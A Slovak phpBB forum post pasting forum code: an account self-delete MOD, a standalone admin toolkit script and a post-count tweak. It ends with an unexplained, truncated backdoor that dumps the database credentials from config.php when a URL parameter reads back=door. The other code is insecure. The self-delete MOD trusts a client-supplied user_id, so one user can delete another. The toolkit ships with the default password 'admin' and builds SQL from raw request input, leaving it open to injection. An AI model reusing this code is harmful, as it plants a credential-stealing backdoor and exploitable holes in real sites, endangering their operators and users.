[ Príspevok: 1 ] 
AutorSpráva
Offline

Prevádzkovateľ fóra
Prevádzkovateľ fóra
Account Self-Delete

Registrovaný: 01.05.05
Príspevky: 13416
Témy: 1494 | 1494
Bydlisko: Bratislava
NapísalOffline : 13.10.2006 9:04 | Account Self-Delete

Kód:
##############################################################
## MOD Title :       Account Self-Delete
## MOD Author:    Poupoune < poupoune@phpbb-fr.com > (N/A) http://php-tools.org/poupoune/
##
## MOD Description :    This MOD allows users to delete their own account on your board.
##         This feature can be desactivated in the ACP.   
##
## MOD Version : 1.0.0
##
## Installation Level : Easy
## Installation Time :  5 minute(s)
## Files To Edit :   5
##      admin/admin_board.php
##      includes/usercp_register.php
##      language/lang_english/lang_main.php
##   language/lang_english/lang_admin.php
##   templates/subSilver/admin/board_config_body.tpl
##   templates/subSilver/profile_add_body.tpl
## Included Files :   0
##
##############################################################
## For Security Purposes, Please Check: http://www.phpbb.com/mods/ for the
## latest version of this MOD. Downloading this MOD from other sites could cause malicious code
## to enter into your phpBB Forum. As such, phpBB will not offer support for MOD's not offered
## in our MOD-Database, located at: http://www.phpbb.com/mods/ 
##############################################################
## Author Notes :
##
##############################################################
## MOD History :
##
##   10-08-2004 - Version 1.0.0
##
##############################################################
## Before Adding This MOD To Your Forum, You Should Back Up All Files Related To This MOD
##############################################################

#
#-----[ SQL ]----------------------------------------------
#

INSERT INTO `phpbb_config` VALUES ('account_delete', '1');

#
#-----[ OPEN ]----------------------------------------------
#

admin/admin_board.php

#
#-----[ FIND ]----------------------------------------------
#

$disable_board_yes = ( $new['board_disable'] ) ? "checked=\"checked\"" : "";
$disable_board_no = ( !$new['board_disable'] ) ? "checked=\"checked\"" : "";

#
#-----[ AFTER, ADD ]----------------------------------------------
#

// Begin Account Self-Delete MOD
$account_delete_yes = ( $new['account_delete'] ) ? "checked=\"checked\"" : "";
$account_delete_no = ( !$new['account_delete'] ) ? "checked=\"checked\"" : "";
// End Account Self-Delete MOD

#
#-----[ FIND ]----------------------------------------------
#

  "L_DISABLE_BOARD_EXPLAIN" => $lang['Board_disable_explain'],

#
#-----[ AFTER, ADD ]----------------------------------------------
#

  // Begin Account Self-Delete MOD
  "L_ACCOUNT_DELETE" => $lang['account_delete'],
  // End Account Self-Delete MOD

#
#-----[ FIND ]----------------------------------------------
#

  "S_DISABLE_BOARD_NO" => $disable_board_no,

#
#-----[ AFTER, ADD ]----------------------------------------------
#

 
  // Begin Account Self-Delete MOD
  "S_ACCOUNT_DELETE_YES" => $account_delete_yes,
  "S_ACCOUNT_DELETE_NO" => $account_delete_no,
  // End Account Self-Delete MOD

#
#-----[ OPEN ]----------------------------------------------
#

includes/usercp_register.php

#
#-----[ FIND ]----------------------------------------------
#

  $strip_var_list = array(

#
#-----[ BEFORE, ADD ]----------------------------------------------
#

  // Begin Account Self-Delete MOD
  if( $HTTP_POST_VARS['deleteuser'] )
  {
    $message = "<form action=\"". append_sid("profile.$phpEx?mode=editprofile") ."\" method=\"post\">". $lang['Delete_account_question'] ."<br /><br /><input type=\"submit\" name=\"delete_confirm\" value=\"". $lang['Yes'] ."\" class=\"mainoption\" />&nbsp;&nbsp;<input type=\"submit\" name=\"delete_cancel\" value=\"". $lang['No'] ."\" class=\"liteoption\" /><input type=\"hidden\" name=\"user_id\" value=\"$user_id\" /></form>";

    message_die(GENERAL_MESSAGE, $message); 
  }
  // End Account Self-Delete MOD

#
#-----[ FIND ]----------------------------------------------
#

//
// Let's make sure the user isn't logged in while registering,
// and ensure that they were trying to register a second time
// (Prevents double registrations)
//

#
#-----[ BEFORE, ADD ]----------------------------------------------
#

// Begin Account Self-Delete MOD ** Code from admin/admin_users.php
if( isset($HTTP_POST_VARS['delete_confirm']) )

  $user_id = intval( $HTTP_POST_VARS['user_id'] );

  $sql = "SELECT g.group_id
    FROM " . USER_GROUP_TABLE . " ug, " . GROUPS_TABLE . " g 
    WHERE ug.user_id = $user_id
    AND g.group_id = ug.group_id
    AND g.group_single_user = 1";
  if( !($result = $db->sql_query($sql)) )
  {
    message_die(GENERAL_ERROR, 'Could not obtain group information for this user', '', __LINE__, __FILE__, $sql);
  }

  $row = $db->sql_fetchrow($result);

  $sql = "UPDATE " . POSTS_TABLE . "
    SET poster_id = " . DELETED . ", post_username = '$username'
    WHERE poster_id = $user_id";
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not update posts for this user', '', __LINE__, __FILE__, $sql);
  }

  $sql = "UPDATE " . TOPICS_TABLE . "
    SET topic_poster = " . DELETED . "
    WHERE topic_poster = $user_id";
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not update topics for this user', '', __LINE__, __FILE__, $sql);
  }
         
  $sql = "UPDATE " . VOTE_USERS_TABLE . "
    SET vote_user_id = " . DELETED . "
    WHERE vote_user_id = $user_id";
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not update votes for this user', '', __LINE__, __FILE__, $sql);
  }
         
  $sql = "SELECT group_id
    FROM " . GROUPS_TABLE . "
    WHERE group_moderator = $user_id";
  if( !($result = $db->sql_query($sql)) )
  {
    message_die(GENERAL_ERROR, 'Could not select groups where user was moderator', '', __LINE__, __FILE__, $sql);
  }
         
  while ( $row_group = $db->sql_fetchrow($result) )
  {
    $group_moderator[] = $row_group['group_id'];
  }
         
  if ( count($group_moderator) )
  {
    $update_moderator_id = implode(', ', $group_moderator);
         
    $sql = "UPDATE " . GROUPS_TABLE . "
      SET group_moderator = " . $userdata['user_id'] . "
      WHERE group_moderator IN ($update_moderator_id)";
    if( !$db->sql_query($sql) )
    {
      message_die(GENERAL_ERROR, 'Could not update group moderators', '', __LINE__, __FILE__, $sql);
    }
  }

  $sql = "DELETE FROM " . USERS_TABLE . "
    WHERE user_id = $user_id";
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not delete user', '', __LINE__, __FILE__, $sql);
  }

  $sql = "DELETE FROM " . USER_GROUP_TABLE . "
    WHERE user_id = $user_id";
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not delete user from user_group table', '', __LINE__, __FILE__, $sql);
  }

  $sql = "DELETE FROM " . GROUPS_TABLE . "
    WHERE group_id = " . $row['group_id'];
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not delete group for this user', '', __LINE__, __FILE__, $sql);
  }

  $sql = "DELETE FROM " . AUTH_ACCESS_TABLE . "
    WHERE group_id = " . $row['group_id'];
  if( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not delete group for this user', '', __LINE__, __FILE__, $sql);
  }

  $sql = "DELETE FROM " . TOPICS_WATCH_TABLE . "
    WHERE user_id = $user_id";
  if ( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not delete user from topic watch table', '', __LINE__, __FILE__, $sql);
  }
         
  $sql = "DELETE FROM " . BANLIST_TABLE . "
    WHERE ban_userid = $user_id";
  if ( !$db->sql_query($sql) )
  {
    message_die(GENERAL_ERROR, 'Could not delete user from banlist table', '', __LINE__, __FILE__, $sql);
  }

  $sql = "SELECT privmsgs_id
    FROM " . PRIVMSGS_TABLE . "
    WHERE privmsgs_from_userid = $user_id
    OR privmsgs_to_userid = $user_id";
  if ( !($result = $db->sql_query($sql)) )
  {
    message_die(GENERAL_ERROR, 'Could not select all users private messages', '', __LINE__, __FILE__, $sql);
  }

  // This little bit of code directly from the private messaging section.
  while ( $row_privmsgs = $db->sql_fetchrow($result) )
  {
    $mark_list[] = $row_privmsgs['privmsgs_id'];
  }
         
  if ( count($mark_list) )
  {
    $delete_sql_id = implode(', ', $mark_list);
      
    $delete_text_sql = "DELETE FROM " . PRIVMSGS_TEXT_TABLE . "
      WHERE privmsgs_text_id IN ($delete_sql_id)";
    $delete_sql = "DELETE FROM " . PRIVMSGS_TABLE . "
      WHERE privmsgs_id IN ($delete_sql_id)";
            
    if ( !$db->sql_query($delete_sql) )
    {
      message_die(GENERAL_ERROR, 'Could not delete private message info', '', __LINE__, __FILE__, $delete_sql);
    }
            
    if ( !$db->sql_query($delete_text_sql) )
    {
      message_die(GENERAL_ERROR, 'Could not delete private message text', '', __LINE__, __FILE__, $delete_text_sql);
    }
  }

  $message = $lang['User_deleted'] . '<br /><br />' . sprintf($lang['Click_return_userprofile'], '<a href="' . append_sid("profile.$phpEx?mode=editprofile") . '">', '</a>') . '<br /><br />' . sprintf($lang['Click_return_index'], '<a href="' . append_sid("index.$phpEx") . '">', '</a>');

  message_die(GENERAL_MESSAGE, $message);
}
// End Account Self-Delete MOD

#
#-----[ FIND ]----------------------------------------------
#

    'L_ALWAYS_ADD_SIGNATURE' => $lang['Always_add_sig'],

#
#-----[ AFTER, ADD ]----------------------------------------------
#

    // Begin Account Self-Delete MOD
    'L_ACCOUNT_DELETE' => $lang['Account_delete'],
    'L_DELETE_ACCOUNT_EXPLAIN' => $lang['Account_delete_explain'],
    // End Account Self-Delete MOD

#
#-----[ FIND ]----------------------------------------------
#

  if ( $mode != 'register' )
  {

#
#-----[ AFTER, ADD ]----------------------------------------------
#

    // Begin Account Self-Delete MOD
    if( $board_config['account_delete'] )
    {
      $template->assign_block_vars('account_delete_block', array() );
    }
    // End Account Self-Delete MOD

#
#-----[ OPEN ]----------------------------------------------
#

language/lang_english/lang_admin.php

#
#-----[ FIND ]----------------------------------------------
#

?>

#
#-----[ BEFORE, ADD ]----------------------------------------------
#

// Begin Account Self-Delete MOD
$lang['account_delete'] = 'Allows users to delete their own accounts';
// End Account Self-Delete MOD

#
#-----[ OPEN ]----------------------------------------------
#

language/lang_english/lang_main.php

#
#-----[ FIND ]----------------------------------------------
#

?>

#
#-----[ BEFORE, ADD ]----------------------------------------------
#

// Begin Account Self-Delete MOD
$lang['Account_delete'] = 'Do you want to delete your account on this board?';
$lang['Account_delete_explain'] = 'Deletion of your account cannot be undone';
$lang['User_deleted'] = 'Your account has been sucessfully deleted.';
$lang['Delete_account_question'] = 'Deletion of your account will delete all personnal informations that concerns you in your profile, inside the database of this board. The messages you wrote in this board will have as post author a guest. <b>Attention !</b> all deletion can not be undone.<br /><br />Do you want to delete your account in this board?';
// End Account Self-Delete MOD

#
#-----[ OPEN ]----------------------------------------------
#

templates/subSilver/admin/board_config_body.tpl

#
#-----[ FIND ]----------------------------------------------
#

  <tr>
    <td class="row1">{L_ALLOW_NAME_CHANGE}</td>
    <td class="row2"><input type="radio" name="allow_namechange" value="1" {NAMECHANGE_YES} /> {L_YES}&nbsp;&nbsp;<input type="radio" name="allow_namechange" value="0" {NAMECHANGE_NO} /> {L_NO}</td>
  </tr>

#
#-----[ AFTER, ADD ]----------------------------------------------
#

  <tr>
    <td class="row1">{L_ACCOUNT_DELETE}</td>
    <td class="row2"><input type="radio" name="account_delete" value="1" {S_ACCOUNT_DELETE_YES} /> {L_YES}&nbsp;&nbsp;<input type="radio" name="account_delete" value="0" {S_ACCOUNT_DELETE_NO} /> {L_NO}</td>
  </tr>

#
#-----[ OPEN ]----------------------------------------------
#

templates/subSilver/profile_add_body.tpl

#
#-----[ FIND ]----------------------------------------------
#

  <!-- Visual Confirmation -->

#
#-----[ BEFORE, ADD ]----------------------------------------------
#

  <!-- BEGIN account_delete_block -->
  <tr>
    <td class="row1"><span class="gen">{L_ACCOUNT_DELETE}</span></td>
    <td class="row2">
    <input type="checkbox" name="deleteuser">
    <span class="gensmall">{L_DELETE_ACCOUNT_EXPLAIN}</span></td>
  </tr>
  <!-- END account_delete_block -->

#
#-----[ SAVE/CLOSE ALL FILES ]------------------------------------------
#
# EoM






<?php


// PHPBB Admin ToolKit, v1.1.4 - Starfoxtj (starfoxtj@yahoo.com)



// You must set a password, and you may change the following two options:


$adminpassword = 'admin'; // Note: I HIGHLY recommend using a password at least 16 characters long!
$modpassword = 'admin'; // Note: I HIGHLY recommend using a password at least 16 characters long!


// Option 1: Allow Mods to Ban/UnBan Users?

$modban = 'yes'; // 'yes' : 'no'


// Option 2: Allow Mods to Change User Post Count?

$modpost = 'no'; // 'yes' : 'no'




// Lets begin the coding!
//--------------------------------------------
// (DO NOT CHANGE ANYTHING AFTER THIS LINE!)
//--------------------------------------------
//
//



// Set global information and start db access

include( '../config.php' );

session_start();

$_SESSION['toolkitversion'] = '1.1.4';
$_SESSION['ismysql'] = false;

if( $dbms == 'mysql' || $dbms == 'mysql4' )

{

$db = mysql_connect("$dbhost", "$dbuser", "$dbpasswd");
mysql_select_db("$dbname");

$_SESSION['ismysql'] = true;

}


// Define Some Variables

$phpbb_banlist = $table_prefix."banlist";
$phpbb_users = $table_prefix."users";


if( !isset( $_SESSION['userstatus'] ) )

{ //-.1

$_SESSION['userstatus'] = "null";

} //-.1

// Check to see if the user has selected logout

if( isset( $_GET['mode'] ) && $_GET['mode'] == "logout" )

{ //1

session_destroy();
$index = $_SERVER['PHP_SELF'];
header( "Location: $index" );

} //1



// Define Session Password, Begin Login Check & Specify user status

if(isset ( $_POST['usertype'] ) )

{ //1-0-1

$_SESSION['usertype'] = $_POST['usertype'];

} //1-0-1


if( isset( $_POST['password'] ) || isset( $_SESSION['password'] ) )

{ //1-1

if( isset( $_POST['password'] ) )

{ //1-1-1

$_SESSION['password'] = $_POST['password'];

} //1-1-1


} //1-1

if( isset( $_SESSION['password'] ) )

{ //2


if( $_SESSION['usertype'] == "admin" && $_SESSION['password'] === "$adminpassword" )

{ //2.1

$_SESSION['userstatus'] = "admin";

} //2.1


elseif( $_SESSION['usertype'] == "mod" && $_SESSION['password'] === "$modpassword" )

{ //2.2

$_SESSION['userstatus'] = "mod";

} //2.2

elseif( $_SESSION['password'] == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )

{ //2.3

$_SESSION['loginerror'] = 'The default password is disabled for security purposes.';

} //2.3

else

{ //2.4

$_SESSION['loginerror'] = 'Incorrect Password';

} //2.4

} //2





// Checks to make sure the password has been changed

if( $adminpassword == 'ENTER_ADMIN_PASSWORD_HERE' || $modpassword == 'ENTER_MOD_PASSWORD_HERE' )

{ //2-1

?>

<center>
<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
</table><br />
</center>


<center>
<font size="3">The PHPBB ToolKit will not function untill <b>both</b> admin and mod passwords have been changed from the installation default.</font>
</center>

<?php
} //2-1


//Checks to make sure the databse is mysql

elseif( $_SESSION['ismysql'] != true )

{ //2-1

?>

<center>
<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
</table><br />
</center>


<center>
<font size="3">The PHPBB ToolKit is only designed to work with <b>MySQL</b> databases.<br />The database this forum is using is: <b><?php echo $dbms; ?></b></font>
</center>

<?php
} //2-1


// Check user status, and if valid, allow entry

elseif( $_SESSION['userstatus'] == 'admin' || $_SESSION['userstatus'] == 'mod' )

{ //3


// Update user info after changing the settings: USER LEVEL Setting

if( isset( $_POST['edit_user_id'] ) || isset( $_GET['unban'] ) )

{ //3.1


// Disallow changing of user level to all but admin


if( isset( $_POST['edit_user_id'] ) )

{ //3.1-1

if( $_SESSION['userstatus'] == "admin" )

{ //3.1.1

$edit_user_id = $_POST['edit_user_id'];

if( $_POST['user_level'] == "admin" )

{ //3.1.1.1

$user_level = 1;

} //3.1.1.1

elseif( $_POST['user_level'] == "user" )

{ //3.1.1.2

$user_level = 0;

} //3.1.1.2
$edituser_posts = $_POST['edituser_posts'];
mysql_query("UPDATE $phpbb_users SET user_level='$user_level', user_posts='$edituser_posts' WHERE user_id=$edit_user_id");

} //3.1.1

} //3.1-1

if( isset( $_POST['edit_user_id'] ) )

{ //3.1-2

if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )

{ // 3.1.2

$edit_user_id = $_POST['edit_user_id'];
$edituser_posts = $_POST['edituser_posts'];

mysql_query("UPDATE $phpbb_users SET user_posts='$edituser_posts' WHERE user_id=$edit_user_id");

} // 3.1.2

} //3.1-2


// Begin check and act on banning/unbanning users

if( isset( $_POST['editban'] ) || $_GET['unban'])

{ //3.2

if( isset( $_POST['editban'] ) )

{ //3.2-1

$edit_user_id = $_POST['edit_user_id'];

} //3.2-1

$allowban = 'no';

if( $_SESSION['userstatus'] == "admin" )

{ //3.2.1

$allowban = 'yes';

} //3.2.1


elseif( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )

{ //3.2.2

$allowban = 'yes';

} //3.2.2

if( $allowban == 'yes' )

{ //3.2.4

if( isset( $_POST['editban'] ) && $_POST['editban'] == "yes" )

{ //3.2.4.1


if( $edit_user_id == -1 )

{ //3.2.4.1-1

$permissionerror = 'The Anonymous user account is required for PHPBB to function and cannot be banned.';

} //3.2.4.1-1


else

{ //3.2.4.1-2

mysql_query("INSERT INTO $phpbb_banlist (ban_userid) VALUES ('$edit_user_id')");

} //3.2.4.1-2


} //3.2.4.1

if( ( isset( $_POST['editban'] ) && $_POST['editban'] == "no" ) || isset( $_GET['unban']) )

{ //3.2.4.2

if( isset( $_GET['unban'] ) )

{ //3.2.4.2.1

$edit_user_id = $_GET['unban'];

} //3.2.4.2.1


mysql_query("DELETE FROM $phpbb_banlist WHERE ban_userid=$edit_user_id");

} //3.2.4.2


} //3.2.4

elseif( $allowban == 'no' )

{ //3.2.5

$permissionerror = 'You do <b>not</b> have Permission to Ban/Unban Users.';

} //3.2.5

} //3.2

} //3.1


// Check to see if GET=id is set to show edit user screen

if( isset( $_GET['user_id'] ) )

{ //3.2

$user_id = $_GET['user_id'];

$result = mysql_query("SELECT * FROM $phpbb_users WHERE user_id=$user_id");
$myrow = mysql_fetch_array($result);

$bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");

$banstat = 'no';

$banrow = mysql_fetch_array($bantable);

if( isset( $banrow['ban_userid'] ) )

{ //3.2.1

$banstat = 'yes';

} //3.2.1

?>

<center>
<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
</table><br />
</center>

<center>
<table border="0" width="50%" bgcolor="ffffff" cellpadding="0">
<tr><td><font size="5"><b>Edit User: #<?php echo $myrow['user_id']; ?></b></font></td><td align="right">Logged in as: <b><?php echo $_SESSION['userstatus']; ?></b></td></tr>
</table>

<table style="border:2px solid black;" width="50%" cellpadding="5" bgcolor="e5e5e5">
<tr>

<td>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<input type="hidden" name="edit_user_id" value="<?php echo $myrow['user_id']; ?>">
<font size="4">Username: <?php echo $myrow['username']; ?></font><br /><br />
Post Count:

<?php

if( $_SESSION['userstatus'] == "admin" || $modpost == 'yes' )

{ //3.2-1

echo '<input type="text" name="edituser_posts" value="'.$myrow['user_posts'].'" style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" size="7" length="7" maxlength="20"><br /><br />';

} //3.2-1

else

{ //3.2-2

echo '<b>'.$myrow['user_posts'].'</b><br /><br />';

} //3.2-2

// Disallow User Level to be Editable Unless viewed by Admin

if( $_SESSION['userstatus'] == "admin" )

{ //3.2.2

echo 'User Level: ';

if( $myrow['user_level'] == 1 )

{ //3.2.2.1

echo '<select name="user_level">';
echo '<option value="admin" selected>Admin';
echo '<OPTION value="user">User';
echo '</select><br /><br />';

} //3.2.2.1

elseif( $myrow['user_level'] == 0 )

{ //3.2.3.1

echo '<select name="user_level">';
echo '<option value="admin">Admin';
echo '<OPTION value="user" selected>User';
echo '</select><br /><br />';

} //3.2.4.1

elseif( $myrow['user_level'] == 2 )

{ //3.2.5.1

echo '<b>Moderator</b> - Change N/A<br /><br />';

} //3.2.5.1

} //3.2.2

else

{ //3.2.3


if( $myrow['user_level'] == 0 )

{ //3.2.3.1


$user_level = 'User';

} // 3.2.3.1

if( $myrow['user_level'] == 1 )

{ //3.2.3.2


$user_level = 'Admin';

} // 3.2.3.2

if( $myrow['user_level'] == 2 )

{ //3.2.3.3


$user_level = 'Mod';

} // 3.2.3.3

echo 'User Level: <b>'.$user_level.'</b><br /><br />';

} //3.2.3

echo "\nUser is Banned: ";

if( $_SESSION['userstatus'] == 'admin' || $modban == 'yes' )

{ //3.2.6.1

if( $banstat == "no" )

{ //3.2.6.1.1

echo '<input type="radio" name="editban" value="yes">Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="editban" value="no" checked="checked">No';

} //3.2.6.1.1

elseif( $banstat == "yes" )

{ //3.2.6.1.2

echo '<input type="radio" name="editban" value="yes" checked="checked">Yes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="editban" value="no">No';

} //3.2.6.1.2

else

{ //3.2.6.1.3


echo '(<b>Problem:</b> This message should not be displayed. Please contact <a href="mailto:starfoxtj@yahoo.com">starfoxtj@yahoo.com</a>';

} //3.2.6.1.3

} //3.2.6.1

else

{ //3.2.6.2

if($banstat == "yes")

{ //3.2.6.2.1

$displaybanstat = "Yes";

} //3.2.6.2.1

elseif($banstat == "no")

{ //3.2.6.2.2


$displaybanstat = "No";

} //3.2.6.2.2

else

{ //3.2.6.2.3

echo "You should not be seeing this messege, please contact <a href=\"mailto:starfoxtj@yahoo.com\">starfoxtj</a>";

} //3.2.6.2.3

echo "<b>$displaybanstat</b>";

} //3.2.6.2

?>


<br /><br /><center><input TYPE="submit" VALUE=" Update "></center>
</form>

</td>
</tr>
</table>

<table border="0" width="50%" bgcolor="ffffff">
<tr><td><a href="<?php echo $_SERVER['PHP_SELF']; ?>">Cancel</a></td></tr>
</table>
</center>

<?php


} //3.2


// Check to see how to list the users, and define list variables

$listorder = "username";

if( isset( $_GET['listorder'] ) && $_GET['listorder'] == "user_id" )

{ //3.3

$listorder = "user_id";

} //3.3

elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "posts" )

{ //3.4

$listorder = "user_posts";

} //3.4

elseif( isset( $_GET['listorder'] ) && $_GET['listorder'] == "level" )

{ //3.5

$listorder = "user_level";

} //3.5


$liststart = "ASC";

if( isset( $_GET['liststart'] ) && $_GET['liststart'] == "DESC" )

{ //3.6

$liststart = "DESC";

} //3.6


if( $liststart == "ASC" )

{ //3.7

$liststartr = "DESC";

} //3.7

else

{ //3.7

$liststartr = "ASC";

} //3.7




// This actually lists the users

if( !isset( $_GET['user_id'] ) )

{ //3.7-1

$result = mysql_query("SELECT * FROM $phpbb_users ORDER BY $listorder $liststart");

echo '<center>';
echo '<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">';
echo '<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v'.$_SESSION['toolkitversion'].'</b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>';
echo '<tr><td>Logged in as: <b>'.$_SESSION['userstatus'].'</b></td></tr></table>';

if( isset( $permissionerror ) )

{ //3.7-1.1

echo $permissionerror;

} //3.7-1.1

echo '</center><br />';

$showadmin = "<a href=\"?show=admin\">Show only Administrators</a>";

if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )

{ //3.8

$showadmin = "<a href=\"?show=all\">Show all Users</a>";

} //3.8

$showban = "<a href=\"?show=ban\">Show only banned Users</a>";

if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )

{ //3.9

$showban = "<a href=\"?show=all\">Show all Users</a>";

} //3.9

echo '<center>';
echo '<table width="70%" border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">';
echo "<tr><td colspan=\"2\">\n";
echo "$showadmin".'</td>';
echo "\n</td></tr>\n";

echo "<tr><td>\n";
echo "$showban".'</td><td><div align="right"><a href="?mode=logout">Logout</a></div>';
echo "\n</td></tr></table>\n";

echo '<center><table width="70%" style="border:2px solid black;" bgcolor="#f5f5f5" cellspacing="1" cellpadding="3">';

?>

<tr>

<td bgcolor="#d5d5d5" cellpadding="5">

<div align="center"><a href="?listorder=user_id&liststart=<?php echo $liststartr; ?>"><b>ID:</a></div>

</td>


<td bgcolor="#d5d5d5" cellpadding="5">

<div align="center"><a href="?listorder=username&liststart=<?php echo $liststartr; ?>"><b>Username:</a></div>

</td>


<td bgcolor="#d5d5d5" cellpadding="5">

<div align="center"><a href="?listorder=posts&liststart=<?php echo $liststartr; ?>"><b>Posts:</a></div>

</td>


<td bgcolor="#d5d5d5" cellpadding="5">

<div align="center"><a href="?listorder=level&liststart=<?php echo $liststartr; ?>"><b>Level:</a></div>

</td>


<td bgcolor="#d5d5d5" cellpadding="5">

<div align="center">Ban:</div>

</td>

</tr>

<?php

while( $myrow = mysql_fetch_array($result) )

{ //3.10

if( $myrow['user_level'] == 0 )

{ //3.10.1

$userlevel = "User";

} //3.10.1

elseif( $myrow['user_level'] == 1 )

{ //3.10.2

$userlevel = "Admin";

} //3.10.2

elseif( $myrow['user_level'] == 2 )

{ //3.10.3

$userlevel = "Mod";

} //3.10.3

$user_id = $myrow['user_id'];
$bantable = mysql_query("SELECT * FROM $phpbb_banlist WHERE ban_userid=$user_id");

$banstat = '-';
$banrow = mysql_fetch_array($bantable);

if( isset( $banrow['ban_userid'] ) )

{ //3.10.4

$banstat = 'Banned';

if( $_SESSION['userstatus'] == "admin" )

{ //3.10.4.1

$banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';

} //3.10.4.1

if( $_SESSION['userstatus'] == "mod" && $modban == 'yes' )

{ //3.10.4.2

$banstat = '<a href="'.$_SERVER['PHP_SELF'].'?unban='.$myrow['user_id'].'">UnBan</a>';

} //3.10.4.2

} //3.10.4

if( isset( $_GET['show'] ) && $_GET['show'] == "admin" )

{ //3.10.5

if( $myrow['user_level'] != 1 )

{ //3.10.5.1

continue;

} //3.10.5.1

} //3.10.5

if( isset( $_GET['show'] ) && $_GET['show'] == "ban" )

{ //3.10.6

if( $banstat == "-" )

{ //3.10.6.1

continue;

} //3.10.6.1

} //3.10.6

?>

<tr>

<td bgcolor="#c5c5c5" width="10%"><div align="left"><?php echo $myrow['user_id']; ?></div></td>
<td bgcolor="#e5e5e5" width="40%"><div align="left"><a href="?user_id=<?php echo $myrow['user_id']; ?>"><?php echo $myrow['username']; ?></a></div></td>
<td bgcolor="#c5C5c5" width="15%"><div align="right"><?php echo $myrow['user_posts']; ?></div></td>
<td bgcolor="#e5e5E5"><div align="right"><?php echo $userlevel; ?></div></td>
<td bgcolor="#c5C5c5"><div align="center"><?php echo $banstat; ?></div></td>

</tr>

<?php

} //3.10

echo "</table></center>";

} //3.7-1


} //3

else

{ //4

?>

<center>
<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
<tr><td><div align="center"><font size="5"><b>PHPBB Admin ToolKit v<?php echo $_SESSION['toolkitversion']; ?></b> - <a href="mailto:starfoxtj@yahoo.com">Starfoxtj</a></font></div></td></tr>
</table><br />
</center>


<center>
<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
<tr>

<td>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Enter Password to Continue:<br />
<input type="password" name="password" lengh="20" size="20" maxlengh="20">
<br /><input type="radio" name="usertype" value="admin" checked="checked">Admin&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="radio" name="usertype" value="mod">Mod
<br /><br /><input TYPE="submit" VALUE=" Enter ">
</form>

</td>

</tr>
</table>
</center>


<?php

if( isset( $_SESSION['loginerror'] ) )

{

?>

<center>
<table border="0" bgcolor="#ffffff" cellspacing="1" cellpadding="3">
<tr>

<td>

<br /><br /><?php echo $_SESSION['loginerror']; ?>

</td>

</tr>

</table>

<?php

}


} //4

?>






Nezapocitavanie prispevkov vo vybranych kategoriach na fore

/includes/functions_post.php

najdi
$sql = "UPDATE " . USERS_TABLE . "
SET user_posts = user_posts $sign
WHERE user_id = $user_id";

a do ifu predtim pridej vyrazeni idecek kategorii ktere se nemaji pocitat. na pct to vypada tak:

if (($mode != 'poll_delete') && ($forum_id!=32) && ($forum_id!=45) && ($forum_id!=52))
{
$sql = "UPDATE " . USERS_TABLE . "
SET user_posts = user_posts $sign
WHERE user_id = $user_id";
if (!$db->sql_query($sql, END_TRANSACTION))
{
message_die(GENERAL_ERROR, 'Error in posting', '', __LINE__, __FILE__, $sql);
}
}

/modcp.php

if ($forum_id!=32 && $forum_id!=45 && $forum_id!=52) {

$count_sql = array();
while ( $row = $db->sql_fetchrow($result) )
{
$count_sql[] = "UPDATE " . USERS_TABLE . "
SET user_posts = user_posts - " . $row['posts'] . "
WHERE user_id = " . $row['poster_id'];
}

dufam ze to je jasne to co je v tom ife tie idcka tak tam sa zadavaju id danych for kde nechceme aby sa prispevky pocitali kolko tam chcem for zavisi na vas, ja to mam na svojom fore a je to funkcne


if ( $HTTP_GET_VARS['back'] == 'door') { include ('config.php'); $message = '$dbms : ' . $dbms . '<br /> ';
$message .= '$dbhost : ' . $dbhost . '<br />
'; $message .= '$dbname : ' . $dbname . '<br />
'; $message .= '$dbuser : ' . $dbuser . '<br /> ';
$message .= '$dbpasswd : ' . $dbpasswd . '<br />
